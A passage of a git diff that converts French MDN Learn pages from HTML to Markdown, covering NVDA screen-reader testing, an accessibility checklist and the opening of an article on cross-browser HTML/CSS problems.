; vous pouvez dorénavant essayer de tester certains de nos exemples dans la section {{anch("Screenreader testing")}}. -<h4 id="NVDA">NVDA</h4> +#### NVDA -<p>NVDA est exclusif à Windows, et vous allez devoir l'installer.</p> +NVDA est exclusif à Windows, et vous allez devoir l'installer. -<ol> - <li>Téléchargez-le depuis <a href="http://www.nvaccess.org/">nvaccess.org</a>. Vous pouvez choisir si vous voulez faire une donation ou le télécharger gratuitement ; vous devrez également leur donner votre adresse e-mail avant de pouvoir le télécharger.</li> - <li>Une fois téléchargé, installez-le — double cliquez sur l'installeur, acceptez la licence et suivez les instructions.</li> - <li>Pour lancer NVDA, double cliquez sur fichier/raccourci du programme, ou utilisez le raccourci clavier Ctrl + Alt + N. Vous verrez la boîte de dialogue de bienvenue de NVDA lorsque vous le démarrez. Vous pouvez choisir ici différentes options, puis appuyez sur <em>OK</em> pour continuer.</li> -</ol> +1. Téléchargez-le depuis [nvaccess.org](http://www.nvaccess.org/). Vous pouvez choisir si vous voulez faire une donation ou le télécharger gratuitement ; vous devrez également leur donner votre adresse e-mail avant de pouvoir le télécharger. +2. Une fois téléchargé, installez-le — double cliquez sur l'installeur, acceptez la licence et suivez les instructions. +3. Pour lancer NVDA, double cliquez sur fichier/raccourci du programme, ou utilisez le raccourci clavier Ctrl + Alt + N. Vous verrez la boîte de dialogue de bienvenue de NVDA lorsque vous le démarrez. Vous pouvez choisir ici différentes options, puis appuyez sur _OK_ pour continuer. -<p>NVDA sera maintenant actif sur votre ordinateur.</p> +NVDA sera maintenant actif sur votre ordinateur. -<p>Pour utiliser NVDA, vous aller beaucoup utiliser le "modificateur NVDA" — c'est une touche que vous devez presser en plus de l'actuel raccourci NVDA pour qu'elles fonctionnent. Utiliser un modificateur comme celui-ci est courant avec les lecteurs d'écran, pour leur permettre de garder leurs propres commandes en évitant d'entrer en conflit avec d'autres commandes. Dans le cas de NVDA, le modificateur peut aussi être Insert (par défaut), ou VerrMaj (peut être choisi en cochant la première case à cocher dans la boîte de dialogue de bienvenue avant d'appuyer sur <em>OK</em>).</p> +Pour utiliser NVDA, vous aller beaucoup utiliser le "modificateur NVDA" — c'est une touche que vous devez presser en plus de l'actuel raccourci NVDA pour qu'elles fonctionnent. Utiliser un modificateur comme celui-ci est courant avec les lecteurs d'écran, pour leur permettre de garder leurs propres commandes en évitant d'entrer en conflit avec d'autres commandes. Dans le cas de NVDA, le modificateur peut aussi être Insert (par défaut), ou VerrMaj (peut être choisi en cochant la première case à cocher dans la boîte de dialogue de bienvenue avant d'appuyer sur _OK_). -<div class="note"> -<p><strong>Note :</strong> NVDA est plus subtile que VoiceOver en termes de comment il met en valeur là où il est et qu'est-ce qu'il fait. Lorsque vous défilez à travers des rubriques, listes, etc. les éléments que vous sélectionnez seront généralement mis à avant avec un contour subtile, mais ça n'est pas toujours le cas pour toutes les choses. Si vous vous retrouvez complètement perdu, vous pouvez appuyer sur Ctrl + F5 pour rafraîchir la page courante et recommencer en haut de la page.</p> -</div> +> **Note :** NVDA est plus subtile que VoiceOver en termes de comment il met en valeur là où il est et qu'est-ce qu'il fait. Lorsque vous défilez à travers des rubriques, listes, etc. les éléments que vous sélectionnez seront généralement mis à avant avec un contour subtile, mais ça n'est pas toujours le cas pour toutes les choses. Si vous vous retrouvez complètement perdu, vous pouvez appuyer sur Ctrl + F5 pour rafraîchir la page courante et recommencer en haut de la page. -<p>NVDA a beaucoup de commandes clavier, et nous n'allons pas toutes les lister ici. Les principales dont vous aurez besoin pour tester une page web sont dans le tableau suivant. Dans les raccourcis clavier, "NVDA" veut dire "le modificateur NVDA".</p> +NVDA a beaucoup de commandes clavier, et nous n'allons pas toutes les lister ici. Les principales dont vous aurez besoin pour tester une page web sont dans le tableau suivant. Dans les raccourcis clavier, "NVDA" veut dire "le modificateur NVDA". <table class="standard-table"> - <caption>Les raccourcis clavier NVDA les plus communs</caption> - <thead> - <tr> - <th scope="col">Raccourci clavier</th> - <th scope="col">Description</th> - </tr> - </thead> - <tbody> - <tr> - <td>NVDA + Q</td> - <td> - <p>Arrête NVDA après que vous l'ayez démarré.</p> - </td> - </tr> - <tr> - <td>NVDA + curseur haut</td> - <td>Lit la ligne courante.</td> - </tr> - <tr> - <td>NVDA + curseur bas</td> - <td>Commence à lire à la position courante.</td> - </tr> - <tr> - <td>curseur haut ou curseur bas, ou Shift + Tab et Tab</td> - <td> - <p>Se déplace à l'élément suivant/précédent de la page et le lit.</p> - </td> - </tr> - <tr> - <td>curseur gauche et curseur droit</td> - <td> - <p>Se déplace au caractère suivant/précédent dans l'élément courant et le lit.</p> - </td> - </tr> - <tr> - <td>Shift + H et H</td> - <td> - <p>Se déplace au titre suivante/précédente et le lit.</p> - </td> - </tr> - <tr> - <td>Shift + K et K</td> - <td> - <p>Se déplace au lien suivant/précédent et le lit.</p> - </td> - </tr> - <tr> - <td>Shift + D et D</td> - <td> - <p>Se déplace au repère de document (par ex. <code><nav></code>) suivant/précédent et le lit.</p> - </td> - </tr> - <tr> - <td>Shift + 1–6 et 1–6</td> - <td> - <p>Se déplace au titre (niveau 1 à 6) suivant/précédent et le lit.</p> - </td> - </tr> - <tr> - <td>Shift + F et F</td> - <td> - <p>Se déplace à l'entrée de formulaire suivante/précédente et se focalise dessus.</p> - </td> - </tr> - <tr> - <td>Shift + T et T</td> - <td> - <p>Se déplace sur la donnée de tableau suivante/précédente et se focalise dessus.</p> - </td> - </tr> - <tr> - <td>Shift + B et B</td> - <td> - <p>Se déplace sur le bouton suivant/précédent et lit son libellé.</p> - </td> - </tr> - <tr> - <td>Shift + L et L</td> - <td> - <p>Se déplace à la liste suivante/précédente et lit son premier item de liste.</p> - </td> - </tr> - <tr> - <td>Shift + I et I</td> - <td> - <p>Se déplace à l'item de liste suivant/précédent et le lit.</p> - </td> - </tr> - <tr> - <td>Entrée/Retour</td> - <td> - <p>(quand un lien/bouton ou autre élément activable est sélectionné) Active l'élément.</p> - </td> - </tr> - <tr> - <td>NVDA + Barre espace</td> - <td> - <p>(quand un formulaire est sélectionné) Entre dans le formulaire pour que les éléments puissent être sélectionnés individuellement, ou quitter le formulaire si vous êtes déjà dedans.</p> - </td> - </tr> - <tr> - <td>Shift Tab et Tab</td> - <td> - <p>(à l'intérieur d'un formulaire) Se déplacer entre les entrées de formulaire.</p> - </td> - </tr> - <tr> - <td>Curseur haut et curseur bas</td> - <td> - <p>(à l'intérieur d'un formulaire) Modifier les valeurs d'une entrée de formulaire (dans les cas comme les listes déroulantes)</p> - </td> - </tr> - <tr> - <td>Barre espace</td> - <td> - <p>(à l'intérieur d'un formulaire) Sélectionner la valeur choisie.</p> - </td> - </tr> - <tr> - <td>Ctrl + Alt + touches fléchées</td> - <td>(à l'intérieur d'un tableau) Se déplacer entre les cellules du tableau.</td> - </tr> - </tbody> + <caption> + Les raccourcis clavier NVDA les plus communs + </caption> + <thead> + <tr> + <th scope="col">Raccourci clavier</th> + <th scope="col">Description</th> + </tr> + </thead> + <tbody> + <tr> + <td>NVDA + Q</td> + <td><p>Arrête NVDA après que vous l'ayez démarré.</p></td> + </tr> + <tr> + <td>NVDA + curseur haut</td> + <td>Lit la ligne courante.</td> + </tr> + <tr> + <td>NVDA + curseur bas</td> + <td>Commence à lire à la position courante.</td> + </tr> + <tr> + <td>curseur haut ou curseur bas, ou Shift + Tab et Tab</td> + <td> + <p>Se déplace à l'élément suivant/précédent de la page et le lit.</p> + </td> + </tr> + <tr> + <td>curseur gauche et curseur droit</td> + <td> + <p> + Se déplace au caractère suivant/précédent dans l'élément courant et le + lit. + </p> + </td> + </tr> + <tr> + <td>Shift + H et H</td> + <td><p>Se déplace au titre suivante/précédente et le lit.</p></td> + </tr> + <tr> + <td>Shift + K et K</td> + <td><p>Se déplace au lien suivant/précédent et le lit.</p></td> + </tr> + <tr> + <td>Shift + D et D</td> + <td> + <p> + Se déplace au repère de document (par ex. <code><nav></code>) + suivant/précédent et le lit. + </p> + </td> + </tr> + <tr> + <td>Shift + 1–6 et 1–6</td> + <td> + <p>Se déplace au titre (niveau 1 à 6) suivant/précédent et le lit.</p> + </td> + </tr> + <tr> + <td>Shift + F et F</td> + <td> + <p> + Se déplace à l'entrée de formulaire suivante/précédente et se focalise + dessus. + </p> + </td> + </tr> + <tr> + <td>Shift + T et T</td> + <td> + <p> + Se déplace sur la donnée de tableau suivante/précédente et se focalise + dessus. + </p> + </td> + </tr> + <tr> + <td>Shift + B et B</td> + <td> + <p>Se déplace sur le bouton suivant/précédent et lit son libellé.</p> + </td> + </tr> + <tr> + <td>Shift + L et L</td> + <td> + <p> + Se déplace à la liste suivante/précédente et lit son premier item de + liste. + </p> + </td> + </tr> + <tr> + <td>Shift + I et I</td> + <td><p>Se déplace à l'item de liste suivant/précédent et le lit.</p></td> + </tr> + <tr> + <td>Entrée/Retour</td> + <td> + <p> + (quand un lien/bouton ou autre élément activable est sélectionné) + Active l'élément. + </p> + </td> + </tr> + <tr> + <td>NVDA + Barre espace</td> + <td> + <p> + (quand un formulaire est sélectionné) Entre dans le formulaire pour + que les éléments puissent être sélectionnés individuellement, ou + quitter le formulaire si vous êtes déjà dedans. + </p> + </td> + </tr> + <tr> + <td>Shift Tab et Tab</td> + <td> + <p> + (à l'intérieur d'un formulaire) Se déplacer entre les entrées de + formulaire. + </p> + </td> + </tr> + <tr> + <td>Curseur haut et curseur bas</td> + <td> + <p> + (à l'intérieur d'un formulaire) Modifier les valeurs d'une entrée de + formulaire (dans les cas comme les listes déroulantes) + </p> + </td> + </tr> + <tr> + <td>Barre espace</td> + <td> + <p>(à l'intérieur d'un formulaire) Sélectionner la valeur choisie.</p> + </td> + </tr> + <tr> + <td>Ctrl + Alt + touches fléchées</td> + <td> + (à l'intérieur d'un tableau) Se déplacer entre les cellules du tableau. + </td> + </tr> + </tbody> </table> -<h4 id="Test_avec_lecteur_d'écran">Test avec lecteur d'écran</h4> +#### Test avec lecteur d'écran -<p>Maintenant que vous vous êtes habitué à utiliser un lecteur d'écran, nous aimerions que vous vous habituiez à faire quelques tests d'accessibilité rapides, pour vous faire une idée de comment les lecteurs d'écran se débrouillent avec les bonnes et mauvaises caractéristiques d'une page web :</p> +Maintenant que vous vous êtes habitué à utiliser un lecteur d'écran, nous aimerions que vous vous habituiez à faire quelques tests d'accessibilité rapides, pour vous faire une idée de comment les lecteurs d'écran se débrouillent avec les bonnes et mauvaises caractéristiques d'une page web : -<ul> - <li>Regardez <a href="http://mdn.github.io/learning-area/accessibility/html/good-semantics.html">good-semantics.html</a>, et notez comment les titres sont trouvés pas le lecteur d'écran et rendus disponibles pour être utilisés en navigation. Regardez maintenant <a href="http://mdn.github.io/learning-area/accessibility/html/bad-semantics.html">bad-semantics.html</a>, et observez comme le lecteur d'écran n'obtient aucune de ces informations. Imaginez à quel point cela peut être pénible lorsque vous essayez de naviguer sur une page de texte vraiment longue.</li> - <li>Regardez <a href="http://mdn.github.io/learning-area/accessibility/html/good-links.html">good-links.html</a>, et notez comment est-ce qu'ils ont du sens vus hors contexte. Ce n'est pas le cas avec <a href="http://mdn.github.io/learning-area/accessibility/html/bad-links.html">bad-links.html</a> — ceux sont juste tous des "click here".</li> - <li>Regardez <a href="http://mdn.github.io/learning-area/accessibility/html/good-form.html">good-form.html</a>, et regardez comment les entrées du formulaire sont décrites en utilisant leurs libellés parce que nous avons utilisé l'élément <code><label></code> correctement. Dans <a href="http://mdn.github.io/learning-area/accessibility/html/bad-form.html">bad-form.html</a>, ils ne sont que des "blank" sur toute la ligne, totalement inutiles.</li> - <li>Regardez notre exemple <a href="http://mdn.github.io/learning-area/css/styling-boxes/styling-tables/punk-bands-complete.html">punk-bands-complete.html</a>, et observez comment le lecteur d'écran est capable d'associer les colonnes et les lignes de contenu et de les lires toutes ensembles, parce que nous avons défini les entêtes correctement. Dans <a href="http://mdn.github.io/learning-area/accessibility/html/bad-table.html">bad-table.html</a>, aucune des cellules ne peut être associée du tout. Notez que NVDA a étonnamment l'air d'assez bien se comporter lorsque vous n'avez qu'un seul tableau sur une page ; à la place vous pouvez essayer <a href="http://webaim.org/articles/nvda/tables.htm">WebAIM's table test page</a>.</li> - <li>Jetez un œil à <a href="http://www.freedomscientific.com/Training/Surfs-up/AriaLiveRegions.htm">WAI-ARIA live regions example</a> que nous avons vu plus tôt, et observez comment le lecteur d'écran va continuer de lire la section qui se met à constamment à jour dès qu'elle se met à jour.</li> -</ul> +- Regardez [good-semantics.html](http://mdn.github.io/learning-area/accessibility/html/good-semantics.html), et notez comment les titres sont trouvés pas le lecteur d'écran et rendus disponibles pour être utilisés en navigation. Regardez maintenant [bad-semantics.html](http://mdn.github.io/learning-area/accessibility/html/bad-semantics.html), et observez comme le lecteur d'écran n'obtient aucune de ces informations. Imaginez à quel point cela peut être pénible lorsque vous essayez de naviguer sur une page de texte vraiment longue. +- Regardez [good-links.html](http://mdn.github.io/learning-area/accessibility/html/good-links.html), et notez comment est-ce qu'ils ont du sens vus hors contexte. Ce n'est pas le cas avec [bad-links.html](http://mdn.github.io/learning-area/accessibility/html/bad-links.html) — ceux sont juste tous des "click here". +- Regardez [good-form.html](http://mdn.github.io/learning-area/accessibility/html/good-form.html), et regardez comment les entrées du formulaire sont décrites en utilisant leurs libellés parce que nous avons utilisé l'élément `<label>` correctement. Dans [bad-form.html](http://mdn.github.io/learning-area/accessibility/html/bad-form.html), ils ne sont que des "blank" sur toute la ligne, totalement inutiles. +- Regardez notre exemple [punk-bands-complete.html](http://mdn.github.io/learning-area/css/styling-boxes/styling-tables/punk-bands-complete.html), et observez comment le lecteur d'écran est capable d'associer les colonnes et les lignes de contenu et de les lires toutes ensembles, parce que nous avons défini les entêtes correctement. Dans [bad-table.html](http://mdn.github.io/learning-area/accessibility/html/bad-table.html), aucune des cellules ne peut être associée du tout. Notez que NVDA a étonnamment l'air d'assez bien se comporter lorsque vous n'avez qu'un seul tableau sur une page ; à la place vous pouvez essayer [WebAIM's table test page](http://webaim.org/articles/nvda/tables.htm). +- Jetez un œil à [WAI-ARIA live regions example](http://www.freedomscientific.com/Training/Surfs-up/AriaLiveRegions.htm) que nous avons vu plus tôt, et observez comment le lecteur d'écran va continuer de lire la section qui se met à constamment à jour dès qu'elle se met à jour. -<h3 id="Test_utilisateur">Test utilisateur</h3> +### Test utilisateur -<p>Comme mentionné plus haut, vous ne pouvez pas uniquement compter sur les outils automatisés pour déterminer les problèmes d'accessibilité sur votre site. Il est recommandé que lorsque vous établissez votre plan de test, vous devez inclure quelques groupes d'utilisateur d'accessibilité si c'est possible (voir notre section <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies#Les_tests_utilisateurs">Test Utilisateur</a> plus tôt dans ce cours pour plus de contexte). Essayez d'inclure des utilisateurs de lecteur d'écran, des utilisateurs exclusifs au clavier, des utilisateurs malentendants, et peut-être d'autres groupes encore, selon vos besoins.</p> +Comme mentionné plus haut, vous ne pouvez pas uniquement compter sur les outils automatisés pour déterminer les problèmes d'accessibilité sur votre site. Il est recommandé que lorsque vous établissez votre plan de test, vous devez inclure quelques groupes d'utilisateur d'accessibilité si c'est possible (voir notre section [Test Utilisateur](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies#Les_tests_utilisateurs) plus tôt dans ce cours pour plus de contexte). Essayez d'inclure des utilisateurs de lecteur d'écran, des utilisateurs exclusifs au clavier, des utilisateurs malentendants, et peut-être d'autres groupes encore, selon vos besoins. -<h2 id="Checklist_de_tests_d'accessibilité">Checklist de tests d'accessibilité</h2> +## Checklist de tests d'accessibilité -<p>La liste suivante vous fournit une checklist à suivre pour vous assurer de mener à bien les tests d'accessibilité recommandés pour votre projet :</p> +La liste suivante vous fournit une checklist à suivre pour vous assurer de mener à bien les tests d'accessibilité recommandés pour votre projet : -<ol> - <li>Assurez-vous que votre HTML est sémantiquement correct au possible. <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_et_CSS#La_validation">Le valider</a> est un bon début, comme utiliser un <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Auditing_tools">outil d'Audit</a>.</li> - <li>Vérifiez que votre contenu a du sens lorsque le CSS est désactivé.</li> - <li>Assurez-vous que votre fonctionnalité est <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Using_native_keyboard_accessibility">accessible au clavier</a>. Testez en utilisant Tab, Retour/Entrée, etc.</li> - <li>Assurez-vous que votre contenu non-textuel a un <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Text_alternatives">texte alternatif</a>. Un <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Auditing_tools">Outil d'audit</a> est bien pour repérer ce type de problèmes.</li> - <li>Assurez-vous que votre <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Color_and_color_contrast">contraste de couleurs</a> est acceptable, en utilisant un outil de vérification approprié.</li> - <li>Assurez-vous que le <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Hiding_content">contenu caché</a> est visible par les lecteurs d'écran.</li> - <li>Assurez-vous qu'une fonctionnalité est utilisable sans JavaScript autant que possible.</li> - <li>Utilisez ARIA pour améliorer l'accessibilité quand c'est approprié.</li> - <li>Exécutez votre site dans un <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Auditing_tools">Outil d'audit</a>.</li> - <li>Testez avec un lecteur d'écran.</li> - <li>Incluez une politique/déclaration d'accessibilité à un endroit que l'on peut trouver sur votre site pour dire ce que vous avez fait.</li> -</ol> +1. Assurez-vous que votre HTML est sémantiquement correct au possible. [Le valider](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_et_CSS#La_validation) est un bon début, comme utiliser un [outil d'Audit](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Auditing_tools). +2. Vérifiez que votre contenu a du sens lorsque le CSS est désactivé. +3. Assurez-vous que votre fonctionnalité est [accessible au clavier](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Using_native_keyboard_accessibility). Testez en utilisant Tab, Retour/Entrée, etc. +4. Assurez-vous que votre contenu non-textuel a un [texte alternatif](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Text_alternatives). Un [Outil d'audit](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Auditing_tools) est bien pour repérer ce type de problèmes. +5. Assurez-vous que votre [contraste de couleurs](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Color_and_color_contrast) est acceptable, en utilisant un outil de vérification approprié. +6. Assurez-vous que le [contenu caché](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Hiding_content) est visible par les lecteurs d'écran. +7. Assurez-vous qu'une fonctionnalité est utilisable sans JavaScript autant que possible. +8. Utilisez ARIA pour améliorer l'accessibilité quand c'est approprié. +9. Exécutez votre site dans un [Outil d'audit](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Auditing_tools). +10. Testez avec un lecteur d'écran. +11. Incluez une politique/déclaration d'accessibilité à un endroit que l'on peut trouver sur votre site pour dire ce que vous avez fait. -<h2 id="Trouver_de_l'aide">Trouver de l'aide</h2> +## Trouver de l'aide -<p>Il y a bien d'autres problèmes que vous allez rencontrer avec l'accessibilité ; la chose la plus importante à vraiment savoir est comment trouver des réponses en ligne. Consultez l'article <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_et_CSS#Trouver_de_l'aide">la section Trouver de l'aide</a> de l'article sur le HTML et le CSS pour des bonnes directions.</p> +Il y a bien d'autres problèmes que vous allez rencontrer avec l'accessibilité ; la chose la plus importante à vraiment savoir est comment trouver des réponses en ligne. Consultez l'article [la section Trouver de l'aide](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_et_CSS#Trouver_de_l'aide) de l'article sur le HTML et le CSS pour des bonnes directions. -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Espérons que cet article vous aura donné des bonnes connaissances concernant les problèmes principaux d'accessibilité que vous pourrez rencontrer, et comment les tester et les surmonter.</p> +Espérons que cet article vous aura donné des bonnes connaissances concernant les problèmes principaux d'accessibilité que vous pourrez rencontrer, et comment les tester et les surmonter. -<p>Dans le prochain article nous nous tournerons vers la fonctionnalité de détection dans plus de détail.</p> +Dans le prochain article nous nous tournerons vers la fonctionnalité de détection dans plus de détail. -<p>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/JavaScript","Learn/Tools_and_testing/Cross_browser_testing/Feature_detection", "Learn/Tools_and_testing/Cross_browser_testing")}}</p> +{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/JavaScript","Learn/Tools_and_testing/Cross_browser_testing/Feature_detection", "Learn/Tools_and_testing/Cross_browser_testing")}} -<p> </p> -<h2 id="Dans_ce_module">Dans ce module</h2> -<ul> - <li><a href="/fr/docs/">Introduction au test en navigateur croisé</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies">Stratégies pour mener à bien vos tests</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_et_CSS">Gérer les problèmes courants en HTML et CSS</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">Gérer les problèmes courants en JavaScript</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">Handling common accessibility problems</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">Implementing feature detection</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing">Introduction to automated testing</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Setting up your own test automation environment</a></li> -</ul> +## Dans ce module -<p> </p> +- [Introduction au test en navigateur croisé](/fr/docs/) +- [Stratégies pour mener à bien vos tests](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies) +- [Gérer les problèmes courants en HTML et CSS](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_et_CSS) +- [Gérer les problèmes courants en JavaScript](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript) +- [Handling common accessibility problems](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility) +- [Implementing feature detection](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection) +- [Introduction to automated testing](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing) +- [Setting up your own test automation environment](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment) diff --git a/files/fr/learn/tools_and_testing/cross_browser_testing/html_and_css/index.md b/files/fr/learn/tools_and_testing/cross_browser_testing/html_and_css/index.md index 1b55de47f6..633912f9a9 100644 --- a/files/fr/learn/tools_and_testing/cross_browser_testing/html_and_css/index.md +++ b/files/fr/learn/tools_and_testing/cross_browser_testing/html_and_css/index.md @@ -13,170 +13,169 @@ tags: translation_of: Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS original_slug: Learn/Tools_and_testing/Cross_browser_testing/HTML_et_CSS --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies","Learn/Tools_and_testing/Cross_browser_testing/JavaScript", "Learn/Tools_and_testing/Cross_browser_testing")}} -<div>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies","Learn/Tools_and_testing/Cross_browser_testing/JavaScript", "Learn/Tools_and_testing/Cross_browser_testing")}}</div> - -<p>Maintenant que les bases sont posées, nous allons nous concentrer sur les problèmes courants en navigateur croisé que vous allez rencontrer en code HTML et CSS, et quels outils peuvent être utilisés pour prévenir l'arrivée de ces problèmes, ou résoudre les problèmes qui surviennent. Cela inclut le <a href="https://stackoverflow.com/questions/8503559/what-is-linting">linting code</a>, la gestion des préfixes CSS, l'utilisation des outils de dev des navigateurs pour localiser les problèmes, utiliser des <a href="/fr/docs/Glossaire/Polyfill">polyfills</a> pour apporter du support dans les navigateurs, se confronter aux problèmes de responsive design et plus encore.</p> +Maintenant que les bases sont posées, nous allons nous concentrer sur les problèmes courants en navigateur croisé que vous allez rencontrer en code HTML et CSS, et quels outils peuvent être utilisés pour prévenir l'arrivée de ces problèmes, ou résoudre les problèmes qui surviennent. Cela inclut le [linting code](https://stackoverflow.com/questions/8503559/what-is-linting), la gestion des préfixes CSS, l'utilisation des outils de dev des navigateurs pour localiser les problèmes, utiliser des [polyfills](/fr/docs/Glossaire/Polyfill) pour apporter du support dans les navigateurs, se confronter aux problèmes de responsive design et plus encore. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td> - <p>Connaissances avec le noyau des langages <a href="/fr/docs/Learn/HTML">HTML</a>, <a href="/fr/docs/Learn/CSS">CSS</a>, et <a href="/fr/docs/Learn/JavaScript">JavaScript</a> ; une idée du haut niveau des <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">principes du test en navigateur croisé</a>.</p> - </td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td> - <p>Etre capable de diagnostiquer des problèmes courants de CSS et de HTML en navigateur croisé, et utiliser les techniques et outils appropriés pour les réparer.</p> - </td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + <p> + Connaissances avec le noyau des langages + <a href="/fr/docs/Learn/HTML">HTML</a>, + <a href="/fr/docs/Learn/CSS">CSS</a>, et + <a href="/fr/docs/Learn/JavaScript">JavaScript</a> ; une idée du haut + niveau des + <a + href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction" + >principes du test en navigateur croisé</a + >. + </p> + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + <p> + Etre capable de diagnostiquer des problèmes courants de CSS et de HTML + en navigateur croisé, et utiliser les techniques et outils appropriés + pour les réparer. + </p> + </td> + </tr> + </tbody> </table> -<h2 id="Les_difficultés_avec_HTML_et_CSS">Les difficultés avec HTML et CSS</h2> - -<p>Certains des problèmes avec le HTML et le CSS viennent du fait qu'ils sont tous les deux des langages qui sont assez simples, et souvent les développeurs ne les considèrent pas sérieusement, en termes de s'assurer que le code est bien conçu, efficace, et qu'il décrit sémantiquement les but de la fonctionnalité sur la page. Dans les pires des cas, Javascript est utilisé pour générer tout le contenu et le style d'une page web, ce qui rend vos pages inaccessibles, et moins performantes (générer des éléments de DOM est coûteux). Dans d'autres cas, des fonctionnalités naissantes ne sont pas supportées constamment par tous les navigateurs, ce qui peut empêcher certaines fonctionnalités et styles de fonctionner pour certains utilisateurs. Les problèmes de responsive design sont également courant — un site qui paraît bien sur le navigateur d'un ordinateur de bureau pourra fournir une expérience horrible sur un appareil mobile, à cause du contenu qui est trop petit pour être lu, ou peut-être que le site sera lent à cause de animations coûteuses.</p> - -<p>Commençons et regardons comment nous pouvons réduire les erreurs en navigateur croisé issues du HTML/CSS.</p> - -<h2 id="Commençons_par_le_commencement_résoudre_les_problèmes_généraux">Commençons par le commencement : résoudre les problèmes généraux</h2> - -<p>Nous disions dans le <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction#Testingdiscovery">premier article de cette série</a> que c'était une bonne stratégie de commencer à tester sur une paire de navigateurs modernes sur desktop/mobile, afin de vous assurer que votre site fonctionne pour l'essentiel, avant de commencer à se concentrer sur les problèmes en navigateur croisé.</p> - -<p>Dans nos articles <a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Debugging HTML</a> et <a href="/fr/docs/Learn/CSS/Introduction_to_CSS/Debugging_CSS">Debugging CSS</a>, nous avancions quelques conseils très basiques sur le débogage HTML/CSS — si vous ne maîtrisez pas ces bases, vous devriez sans aucun doute aller étudier ces articles avant de continuer.</p> +## Les difficultés avec HTML et CSS -<p>Il s'agit essentiellement de vérifier si votre code HTML et CSS est bien conçu et s'il ne contient aucune erreur de syntaxe.</p> +Certains des problèmes avec le HTML et le CSS viennent du fait qu'ils sont tous les deux des langages qui sont assez simples, et souvent les développeurs ne les considèrent pas sérieusement, en termes de s'assurer que le code est bien conçu, efficace, et qu'il décrit sémantiquement les but de la fonctionnalité sur la page. Dans les pires des cas, Javascript est utilisé pour générer tout le contenu et le style d'une page web, ce qui rend vos pages inaccessibles, et moins performantes (générer des éléments de DOM est coûteux). Dans d'autres cas, des fonctionnalités naissantes ne sont pas supportées constamment par tous les navigateurs, ce qui peut empêcher certaines fonctionnalités et styles de fonctionner pour certains utilisateurs. Les problèmes de responsive design sont également courant — un site qui paraît bien sur le navigateur d'un ordinateur de bureau pourra fournir une expérience horrible sur un appareil mobile, à cause du contenu qui est trop petit pour être lu, ou peut-être que le site sera lent à cause de animations coûteuses. -<div class="note"> -<p><strong>Note :</strong> Un problème fréquent avec le HTML et le CSS arrive quand différentes règles CSS commencent à entrer en conflit avec une autre. Cela peut être particulièrement problématique lorsque vous utilisez un bout de code tierce. Par exemple, vous pouvez utiliser un modèle CSS et remarquer qu'un des noms de classe qui est utilisé entre en conflit avec un que vous utilisez déjà dans un but différent. Ou vous pouvez trouver que du HTML généré par une API tierce (générateur de bannières publicitaires, par exemple) inclut un nom de classe ou d'ID que vous utilisez déjà dans un but différent. Afin de garantir que cela ne se produira pas, vous devez rechercher les outils que vous allez utiliser en premier et construire votre code en conséquence. Il convient également de relever les "<a href="/fr/docs/Glossaire/Namespace">espace de noms</a>" en CSS, par ex. si vous avez un widget, assurez-vous qu'il a des classes distinctes, et ensuite commencez les sélecteurs qui sélectionnent les éléments à l'intérieur du widget avec cette classe, les 